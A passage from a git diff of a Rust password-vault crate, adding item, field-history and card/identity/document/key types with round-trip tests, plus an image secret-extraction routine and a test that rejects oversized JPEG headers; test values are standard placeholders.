if let Ok(secret) = try_extract_with_layout(&y, y.width, y.height, 0, 0) {
|
||||
return Ok(secret);
|
||||
}
|
||||
@@ -522,7 +870,7 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
let max_orig_w = (y.width as f64 * 1.20) as usize;
|
||||
let max_orig_h = (y.height as f64 * 1.20) as usize;
|
||||
|
||||
// Try width-only crops first (most common: crop from one side)
|
||||
// Try 2: width-only crops, block-aligned steps (most common crop scenario)
|
||||
for orig_w in (y.width..=max_orig_w).step_by(BLOCK_SIZE) {
|
||||
// Right-side crop: dx = 0 (left edge unchanged)
|
||||
if let Ok(secret) = try_extract_with_layout(&y, orig_w, y.height, 0, 0) {
|
||||
@@ -530,24 +878,24 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
}
|
||||
}
|
||||
|
||||
// Try height-only crops
|
||||
// Try 3: height-only crops, block-aligned steps
|
||||
for orig_h in (y.height..=max_orig_h).step_by(BLOCK_SIZE) {
|
||||
if let Ok(secret) = try_extract_with_layout(&y, y.width, orig_h, 0, 0) {
|
||||
return Ok(secret);
|
||||
}
|
||||
}
|
||||
|
||||
// Try width crops with finer step (non-8-aligned crops)
|
||||
// Try 4: width crops with finer step (non-8-aligned crops are rarer but possible)
|
||||
for orig_w in (y.width..=max_orig_w).step_by(1) {
|
||||
if orig_w % BLOCK_SIZE == 0 {
|
||||
continue; // already tried
|
||||
continue; // already tried in step 2
|
||||
}
|
||||
if let Ok(secret) = try_extract_with_layout(&y, orig_w, y.height, 0, 0) {
|
||||
return Ok(secret);
|
||||
}
|
||||
}
|
||||
|
||||
Err(IdfotoError::ExtractionFailed)
|
||||
Err(RelicarioError::ExtractionFailed)
|
||||
}
|
||||
|
||||
// ─── Tests ───────────────────────────────────────────────────────────────────
|
||||
@@ -732,6 +1080,30 @@ mod tests {
|
||||
assert_eq!(extracted, secret);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_oversized_image_without_full_decode() {
|
||||
// Synthesize a JPEG header claiming 20000x20000 dimensions.
|
||||
// The actual pixel data is irrelevant — the dimension peek should bail out
|
||||
// before decoding any pixels.
|
||||
let jpeg = build_oversized_jpeg_header(20_000, 20_000);
|
||||
let result = extract(&jpeg);
|
||||
assert!(matches!(result, Err(RelicarioError::ImgSecret(ref msg)) if msg.contains("dimension")));
|
||||
}
|
||||
|
||||
fn build_oversized_jpeg_header(width: u16, height: u16) -> Vec<u8> {
|
||||
// SOI + APP0 JFIF + SOF0 declaring width/height + SOS with minimal data + EOI
|
||||
let mut v = vec![0xFF, 0xD8]; // SOI
|
||||
v.extend_from_slice(&[0xFF, 0xE0, 0x00, 0x10]); // APP0
|
||||
v.extend_from_slice(b"JFIF\0");
|
||||
v.extend_from_slice(&[0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00]);
|
||||
v.extend_from_slice(&[0xFF, 0xC0, 0x00, 0x11, 0x08]); // SOF0
|
||||
v.extend_from_slice(&height.to_be_bytes());
|
||||
v.extend_from_slice(&width.to_be_bytes());
|
||||
v.extend_from_slice(&[0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01]);
|
||||
v.extend_from_slice(&[0xFF, 0xD9]); // EOI
|
||||
v
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embed_extract_survives_10pct_crop() {
|
||||
let jpeg = make_test_jpeg(400, 300);
|
||||
497
crates/relicario-core/src/item.rs
Normal file
497
crates/relicario-core/src/item.rs
Normal file
@@ -0,0 +1,497 @@
|
||||
//! Item envelope, sections, and custom fields.
|
||||
//!
|
||||
//! `FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing
|
||||
//! to a single tagged enum) so the kind can be queried without inspecting the value.
|
||||
//! Validation invariant: kind and value's discriminants must match — enforced at
|
||||
//! construction (`Field::new`) and during deserialization (`Field::validate`).
|
||||
|
||||
use chrono::NaiveDate;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use url::Url;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::error::{RelicarioError, Result};
|
||||
use crate::ids::{AttachmentId, FieldId};
|
||||
use crate::item_types::TotpConfig;
|
||||
use crate::time::MonthYear;
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum FieldKind {
|
||||
Text,
|
||||
Multiline,
|
||||
Password,
|
||||
Concealed,
|
||||
Url,
|
||||
Email,
|
||||
Phone,
|
||||
Date,
|
||||
MonthYear,
|
||||
Totp,
|
||||
Reference,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
|
||||
pub enum FieldValue {
|
||||
Text(String),
|
||||
Multiline(String),
|
||||
Password(Zeroizing<String>),
|
||||
Concealed(Zeroizing<String>),
|
||||
Url(Url),
|
||||
Email(String),
|
||||
Phone(String),
|
||||
Date(NaiveDate),
|
||||
MonthYear(MonthYear),
|
||||
Totp(TotpConfig),
|
||||
Reference(AttachmentId),
|
||||
}
|
||||
|
||||
impl FieldValue {
|
||||
pub fn kind(&self) -> FieldKind {
|
||||
match self {
|
||||
FieldValue::Text(_) => FieldKind::Text,
|
||||
FieldValue::Multiline(_) => FieldKind::Multiline,
|
||||
FieldValue::Password(_) => FieldKind::Password,
|
||||
FieldValue::Concealed(_) => FieldKind::Concealed,
|
||||
FieldValue::Url(_) => FieldKind::Url,
|
||||
FieldValue::Email(_) => FieldKind::Email,
|
||||
FieldValue::Phone(_) => FieldKind::Phone,
|
||||
FieldValue::Date(_) => FieldKind::Date,
|
||||
FieldValue::MonthYear(_) => FieldKind::MonthYear,
|
||||
FieldValue::Totp(_) => FieldKind::Totp,
|
||||
FieldValue::Reference(_) => FieldKind::Reference,
|
||||
}
|
||||
}
|
||||
|
||||
/// True if this kind triggers field-history capture on update.
|
||||
pub fn is_history_tracked(&self) -> bool {
|
||||
matches!(self, FieldValue::Password(_) | FieldValue::Concealed(_) | FieldValue::Totp(_))
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Field {
|
||||
pub id: FieldId,
|
||||
pub label: String,
|
||||
pub kind: FieldKind,
|
||||
pub value: FieldValue,
|
||||
#[serde(default)]
|
||||
pub hidden_by_default: bool,
|
||||
}
|
||||
|
||||
impl Field {
|
||||
/// Construct a field, deriving `kind` from `value`.
|
||||
pub fn new(label: String, value: FieldValue) -> Self {
|
||||
let kind = value.kind();
|
||||
Self {
|
||||
id: FieldId::new(),
|
||||
label,
|
||||
kind,
|
||||
value,
|
||||
hidden_by_default: matches!(kind, FieldKind::Password | FieldKind::Concealed),
|
||||
}
|
||||
}
|
||||
|
||||
/// Verify kind/value discriminants match. Called after deserialization.
|
||||
pub fn validate(&self) -> Result<()> {
|
||||
if self.kind != self.value.kind() {
|
||||
return Err(RelicarioError::Format(format!(
|
||||
"field {}: kind {:?} does not match value discriminant {:?}",
|
||||
self.id.as_str(),
|
||||
self.kind,
|
||||
self.value.kind()
|
||||
)));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct Section {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub name: Option<String>,
|
||||
pub fields: Vec<Field>,
|
||||
}
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::attachment::AttachmentRef;
|
||||
use crate::ids::ItemId;
|
||||
use crate::item_types::{ItemCore, ItemType};
|
||||
use crate::time::now_unix;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct FieldHistoryEntry {
|
||||
pub value: Zeroizing<String>,
|
||||
pub replaced_at: i64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Item {
|
||||
pub id: ItemId,
|
||||
pub title: String,
|
||||
pub r#type: ItemType,
|
||||
#[serde(default)]
|
||||
pub tags: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub favorite: bool,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub group: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub notes: Option<String>,
|
||||
pub created: i64,
|
||||
pub modified: i64,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub trashed_at: Option<i64>,
|
||||
pub core: ItemCore,
|
||||
#[serde(default)]
|
||||
pub sections: Vec<Section>,
|
||||
#[serde(default)]
|
||||
pub attachments: Vec<AttachmentRef>,
|
||||
#[serde(default)]
|
||||
pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>,
|
||||
}
|
||||
|
||||
impl Item {
|
||||
/// Construct a new Item from a typed core; auto-fills id, type, timestamps.
|
||||
pub fn new(title: String, core: ItemCore) -> Self {
|
||||
let now = now_unix();
|
||||
let r#type = core.item_type();
|
||||
Self {
|
||||
id: ItemId::new(),
|
||||
title,
|
||||
r#type,
|
||||
tags: Vec::new(),
|
||||
favorite: false,
|
||||
group: None,
|
||||
notes: None,
|
||||
created: now,
|
||||
modified: now,
|
||||
trashed_at: None,
|
||||
core,
|
||||
sections: Vec::new(),
|
||||
attachments: Vec::new(),
|
||||
field_history: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Replace a custom field's value, capturing the previous value into
|
||||
/// field_history if the field's kind is history-tracked.
|
||||
pub fn set_field_value(&mut self, field_id: &FieldId, new_value: FieldValue) -> Result<()> {
|
||||
for section in &mut self.sections {
|
||||
if let Some(field) = section.fields.iter_mut().find(|f| &f.id == field_id) {
|
||||
if field.value.kind() != new_value.kind() {
|
||||
return Err(RelicarioError::Format(format!(
|
||||
"field {}: cannot change kind from {:?} to {:?}",
|
||||
field.id.as_str(), field.value.kind(), new_value.kind()
|
||||
)));
|
||||
}
|
||||
if field.value.is_history_tracked() {
|
||||
let serialized = serialize_history_value(&field.value)?;
|
||||
self.field_history
|
||||
.entry(field.id.clone())
|
||||
.or_default()
|
||||
.push(FieldHistoryEntry { value: serialized, replaced_at: now_unix() });
|
||||
}
|
||||
field.value = new_value;
|
||||
self.modified = now_unix();
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
Err(RelicarioError::Format(format!("field {} not found", field_id.as_str())))
|
||||
}
|
||||
|
||||
pub fn soft_delete(&mut self) {
|
||||
self.trashed_at = Some(now_unix());
|
||||
self.modified = now_unix();
|
||||
}
|
||||
|
||||
pub fn restore(&mut self) {
|
||||
self.trashed_at = None;
|
||||
self.modified = now_unix();
|
||||
}
|
||||
|
||||
pub fn is_trashed(&self) -> bool {
|
||||
self.trashed_at.is_some()
|
||||
}
|
||||
|
||||
pub fn prune_history(&mut self, retention: &crate::settings::HistoryRetention, now: i64) {
|
||||
use crate::settings::HistoryRetention;
|
||||
for history in self.field_history.values_mut() {
|
||||
match retention {
|
||||
HistoryRetention::Forever => {}
|
||||
HistoryRetention::LastN(n) => {
|
||||
let n = *n as usize;
|
||||
if history.len() > n {
|
||||
let drop_count = history.len() - n;
|
||||
history.drain(..drop_count);
|
||||
}
|
||||
}
|
||||
HistoryRetention::Days(d) => {
|
||||
let cutoff = now - (*d as i64) * 86_400;
|
||||
history.retain(|e| e.replaced_at > cutoff);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Serialize a FieldValue to the string form stored in field_history.
|
||||
fn serialize_history_value(value: &FieldValue) -> Result<Zeroizing<String>> {
|
||||
let s = match value {
|
||||
FieldValue::Password(p) => Zeroizing::new(p.as_str().to_owned()),
|
||||
FieldValue::Concealed(c) => Zeroizing::new(c.as_str().to_owned()),
|
||||
FieldValue::Totp(cfg) => {
|
||||
// Store the base32-encoded secret string for human-recognizability.
|
||||
let s = base32_encode(&cfg.secret);
|
||||
Zeroizing::new(s)
|
||||
}
|
||||
_ => return Err(RelicarioError::Format("not a history-tracked kind".into())),
|
||||
};
|
||||
Ok(s)
|
||||
}
|
||||
|
||||
/// Minimal RFC 4648 base32 (no padding) for TOTP secret history serialization.
|
||||
fn base32_encode(bytes: &[u8]) -> String {
|
||||
const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
||||
let mut out = String::new();
|
||||
let mut buffer: u32 = 0;
|
||||
let mut bits: u32 = 0;
|
||||
for &b in bytes {
|
||||
buffer = (buffer << 8) | (b as u32);
|
||||
bits += 8;
|
||||
while bits >= 5 {
|
||||
let idx = ((buffer >> (bits - 5)) & 0x1f) as usize;
|
||||
out.push(ALPHA[idx] as char);
|
||||
bits -= 5;
|
||||
}
|
||||
}
|
||||
if bits > 0 {
|
||||
let idx = ((buffer << (5 - bits)) & 0x1f) as usize;
|
||||
out.push(ALPHA[idx] as char);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn field_value_kind_matches() {
|
||||
let v = FieldValue::Text("hello".into());
|
||||
assert_eq!(v.kind(), FieldKind::Text);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn password_field_marked_history_tracked() {
|
||||
assert!(FieldValue::Password(Zeroizing::new("x".into())).is_history_tracked());
|
||||
assert!(FieldValue::Concealed(Zeroizing::new("x".into())).is_history_tracked());
|
||||
assert!(FieldValue::Totp(TotpConfig::default()).is_history_tracked());
|
||||
assert!(!FieldValue::Text("x".into()).is_history_tracked());
|
||||
assert!(!FieldValue::Url(Url::parse("https://example.com").unwrap()).is_history_tracked());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_new_derives_kind_from_value() {
|
||||
let f = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("x".into())));
|
||||
assert_eq!(f.kind, FieldKind::Password);
|
||||
assert!(f.hidden_by_default);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_new_text_not_hidden() {
|
||||
let f = Field::new("Username".into(), FieldValue::Text("alice".into()));
|
||||
assert!(!f.hidden_by_default);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_validate_catches_kind_value_mismatch() {
|
||||
let f = Field {
|
||||
id: FieldId::new(),
|
||||
label: "x".into(),
|
||||
kind: FieldKind::Password,
|
||||
value: FieldValue::Text("not actually a password".into()),
|
||||
hidden_by_default: false,
|
||||
};
|
||||
assert!(f.validate().is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_round_trips() {
|
||||
let f = Field::new("Recovery code".into(), FieldValue::Concealed(Zeroizing::new("abcd-efgh".into())));
|
||||
let json = serde_json::to_string(&f).unwrap();
|
||||
let parsed: Field = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.label, "Recovery code");
|
||||
assert_eq!(parsed.kind, FieldKind::Concealed);
|
||||
parsed.validate().unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn section_round_trip() {
|
||||
let s = Section {
|
||||
name: Some("Recovery codes".into()),
|
||||
fields: vec![
|
||||
Field::new("code1".into(), FieldValue::Concealed(Zeroizing::new("abc".into()))),
|
||||
Field::new("code2".into(), FieldValue::Concealed(Zeroizing::new("def".into()))),
|
||||
],
|
||||
};
|
||||
let json = serde_json::to_string(&s).unwrap();
|
||||
let parsed: Section = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.name.as_deref(), Some("Recovery codes"));
|
||||
assert_eq!(parsed.fields.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn new_item_has_timestamps_and_id() {
|
||||
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
|
||||
let item = Item::new("note".into(), core);
|
||||
assert_eq!(item.id.0.len(), 16);
|
||||
assert_eq!(item.r#type, ItemType::SecureNote);
|
||||
assert!(item.created > 0);
|
||||
assert_eq!(item.created, item.modified);
|
||||
assert!(item.field_history.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn soft_delete_and_restore_round_trip() {
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("login".into(), core);
|
||||
assert!(!item.is_trashed());
|
||||
item.soft_delete();
|
||||
assert!(item.is_trashed());
|
||||
item.restore();
|
||||
assert!(!item.is_trashed());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_field_value_captures_history_for_password() {
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("login".into(), core);
|
||||
let pw_field = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("old".into())));
|
||||
let pw_id = pw_field.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![pw_field] });
|
||||
|
||||
item.set_field_value(&pw_id, FieldValue::Password(Zeroizing::new("new".into()))).unwrap();
|
||||
let hist = item.field_history.get(&pw_id).expect("history should exist");
|
||||
assert_eq!(hist.len(), 1);
|
||||
assert_eq!(hist[0].value.as_str(), "old");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_field_value_does_not_capture_history_for_text() {
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("login".into(), core);
|
||||
let f = Field::new("nickname".into(), FieldValue::Text("a".into()));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
|
||||
item.set_field_value(&fid, FieldValue::Text("b".into())).unwrap();
|
||||
assert!(item.field_history.get(&fid).is_none_or(|v| v.is_empty()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_field_value_rejects_kind_change() {
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("login".into(), core);
|
||||
let f = Field::new("x".into(), FieldValue::Text("a".into()));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
|
||||
let err = item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("p".into())));
|
||||
assert!(err.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_serializes_with_minimal_optional_fields() {
|
||||
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
|
||||
let item = Item::new("note".into(), core);
|
||||
let json = serde_json::to_string(&item).unwrap();
|
||||
// No "trashed_at" or "group" or "notes" should appear when None
|
||||
assert!(!json.contains("trashed_at"));
|
||||
assert!(!json.contains("\"group\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn full_item_round_trip() {
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore {
|
||||
username: Some("alice".into()),
|
||||
password: Some(Zeroizing::new("hunter2".into())),
|
||||
url: Some(Url::parse("https://github.com").unwrap()),
|
||||
totp: None,
|
||||
});
|
||||
let mut item = Item::new("GitHub".into(), core);
|
||||
item.tags = vec!["work".into()];
|
||||
item.favorite = true;
|
||||
item.notes = Some("notes".into());
|
||||
|
||||
let json = serde_json::to_string(&item).unwrap();
|
||||
let parsed: Item = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.title, "GitHub");
|
||||
assert_eq!(parsed.tags, vec!["work".to_string()]);
|
||||
assert!(parsed.favorite);
|
||||
match parsed.core {
|
||||
ItemCore::Login(l) => {
|
||||
assert_eq!(l.username.as_deref(), Some("alice"));
|
||||
}
|
||||
other => panic!("expected Login, got {:?}", other),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prune_history_keeps_last_n() {
|
||||
use crate::settings::HistoryRetention;
|
||||
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("x".into(), core);
|
||||
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
|
||||
for i in 1..=5 {
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
|
||||
}
|
||||
assert_eq!(item.field_history[&fid].len(), 5);
|
||||
|
||||
item.prune_history(&HistoryRetention::LastN(3), 0);
|
||||
assert_eq!(item.field_history[&fid].len(), 3);
|
||||
// Keeps the MOST RECENT 3
|
||||
assert_eq!(item.field_history[&fid][0].value.as_str(), "v2");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prune_history_drops_old_entries_by_days() {
|
||||
use crate::settings::HistoryRetention;
|
||||
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("x".into(), core);
|
||||
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
|
||||
let now = 1_000_000_000;
|
||||
item.field_history.insert(fid.clone(), vec![
|
||||
FieldHistoryEntry { value: Zeroizing::new("old".into()), replaced_at: now - 100 * 86_400 },
|
||||
FieldHistoryEntry { value: Zeroizing::new("recent".into()), replaced_at: now - 86_400 },
|
||||
]);
|
||||
|
||||
item.prune_history(&HistoryRetention::Days(30), now);
|
||||
assert_eq!(item.field_history[&fid].len(), 1);
|
||||
assert_eq!(item.field_history[&fid][0].value.as_str(), "recent");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prune_history_forever_keeps_all() {
|
||||
use crate::settings::HistoryRetention;
|
||||
|
||||
let core = ItemCore::Login(crate::item_types::LoginCore::default());
|
||||
let mut item = Item::new("x".into(), core);
|
||||
item.field_history.insert(FieldId::new(), vec![
|
||||
FieldHistoryEntry { value: Zeroizing::new("a".into()), replaced_at: 0 },
|
||||
FieldHistoryEntry { value: Zeroizing::new("b".into()), replaced_at: 0 },
|
||||
]);
|
||||
item.prune_history(&HistoryRetention::Forever, 1_000_000_000);
|
||||
assert_eq!(item.field_history.values().next().unwrap().len(), 2);
|
||||
}
|
||||
}
|
||||
68
crates/relicario-core/src/item_types/card.rs
Normal file
68
crates/relicario-core/src/item_types/card.rs
Normal file
@@ -0,0 +1,68 @@
|
||||
//! Card: number, holder, expiry (MonthYear), CVV, PIN, kind.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::time::MonthYear;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct CardCore {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub number: Option<Zeroizing<String>>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub holder: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub expiry: Option<MonthYear>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub cvv: Option<Zeroizing<String>>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub pin: Option<Zeroizing<String>>,
|
||||
#[serde(default)]
|
||||
pub kind: CardKind,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum CardKind {
|
||||
#[default]
|
||||
Credit,
|
||||
Debit,
|
||||
Gift,
|
||||
Loyalty,
|
||||
Other,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn card_full_round_trip() {
|
||||
let card = CardCore {
|
||||
number: Some(Zeroizing::new("4111111111111111".into())),
|
||||
holder: Some("Alice Doe".into()),
|
||||
expiry: Some(MonthYear::new(12, 2030).unwrap()),
|
||||
cvv: Some(Zeroizing::new("123".into())),
|
||||
pin: Some(Zeroizing::new("0000".into())),
|
||||
kind: CardKind::Credit,
|
||||
};
|
||||
let json = serde_json::to_string(&card).unwrap();
|
||||
let parsed: CardCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.holder.as_deref(), Some("Alice Doe"));
|
||||
assert_eq!(parsed.kind, CardKind::Credit);
|
||||
assert_eq!(parsed.expiry, Some(MonthYear::new(12, 2030).unwrap()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn card_kind_default_is_credit() {
|
||||
let json = "{}";
|
||||
let card: CardCore = serde_json::from_str(json).unwrap();
|
||||
assert_eq!(card.kind, CardKind::Credit);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn card_kind_serializes_snake_case() {
|
||||
let json = serde_json::to_string(&CardKind::Loyalty).unwrap();
|
||||
assert_eq!(json, "\"loyalty\"");
|
||||
}
|
||||
}
|
||||
40
crates/relicario-core/src/item_types/document.rs
Normal file
40
crates/relicario-core/src/item_types/document.rs
Normal file
@@ -0,0 +1,40 @@
|
||||
//! Document: filename + mime + pointer to the primary attachment blob.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::ids::AttachmentId;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct DocumentCore {
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
pub primary_attachment: AttachmentId,
|
||||
}
|
||||
|
||||
impl Default for DocumentCore {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
filename: String::new(),
|
||||
mime_type: "application/octet-stream".into(),
|
||||
primary_attachment: AttachmentId(String::new()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn document_round_trip() {
|
||||
let doc = DocumentCore {
|
||||
filename: "passport.pdf".into(),
|
||||
mime_type: "application/pdf".into(),
|
||||
primary_attachment: AttachmentId("0123456789abcdef".into()),
|
||||
};
|
||||
let json = serde_json::to_string(&doc).unwrap();
|
||||
let parsed: DocumentCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.filename, "passport.pdf");
|
||||
assert_eq!(parsed.primary_attachment.as_str(), "0123456789abcdef");
|
||||
}
|
||||
}
|
||||
45
crates/relicario-core/src/item_types/identity.rs
Normal file
45
crates/relicario-core/src/item_types/identity.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
//! Identity: name, address, phone, email, date-of-birth.
|
||||
|
||||
use chrono::NaiveDate;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct IdentityCore {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub full_name: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub address: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub phone: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub email: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub date_of_birth: Option<NaiveDate>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn identity_full_round_trip() {
|
||||
let id = IdentityCore {
|
||||
full_name: Some("Alice Doe".into()),
|
||||
address: Some("123 Main St\nAnytown".into()),
|
||||
phone: Some("+1-555-0100".into()),
|
||||
email: Some("alice@example.com".into()),
|
||||
date_of_birth: NaiveDate::from_ymd_opt(1990, 4, 18),
|
||||
};
|
||||
let json = serde_json::to_string(&id).unwrap();
|
||||
let parsed: IdentityCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.full_name.as_deref(), Some("Alice Doe"));
|
||||
assert_eq!(parsed.date_of_birth, NaiveDate::from_ymd_opt(1990, 4, 18));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_identity_omits_all_fields() {
|
||||
let id = IdentityCore::default();
|
||||
let json = serde_json::to_string(&id).unwrap();
|
||||
assert_eq!(json, "{}");
|
||||
}
|
||||
}
|
||||
42
crates/relicario-core/src/item_types/key.rs
Normal file
42
crates/relicario-core/src/item_types/key.rs
Normal file
@@ -0,0 +1,42 @@
|
||||
//! Key: arbitrary key material (Zeroizing), label, public key, algorithm.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct KeyCore {
|
||||
pub key_material: Zeroizing<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub label: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub public_key: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub algorithm: Option<String>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn key_round_trip() {
|
||||
let k = KeyCore {
|
||||
key_material: Zeroizing::new("-----BEGIN OPENSSH PRIVATE KEY-----\n...".into()),
|
||||
label: Some("yubikey-backup".into()),
|
||||
public_key: Some("ssh-ed25519 AAAAC3...".into()),
|
||||
algorithm: Some("ed25519".into()),
|
||||
};
|
||||
let json = serde_json::to_string(&k).unwrap();
|
||||
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
|
||||
assert!(parsed.key_material.starts_with("-----BEGIN"));
|
||||
assert_eq!(parsed.algorithm.as_deref(), Some("ed25519"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_key_material_round_trips() {
|
||||
let k = KeyCore::default();
|
||||
let json = serde_json::to_string(&k).unwrap();
|
||||
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
|
||||
assert!(parsed.key_material.is_empty());
|
||||
}
|
||||
}
|
||||
63
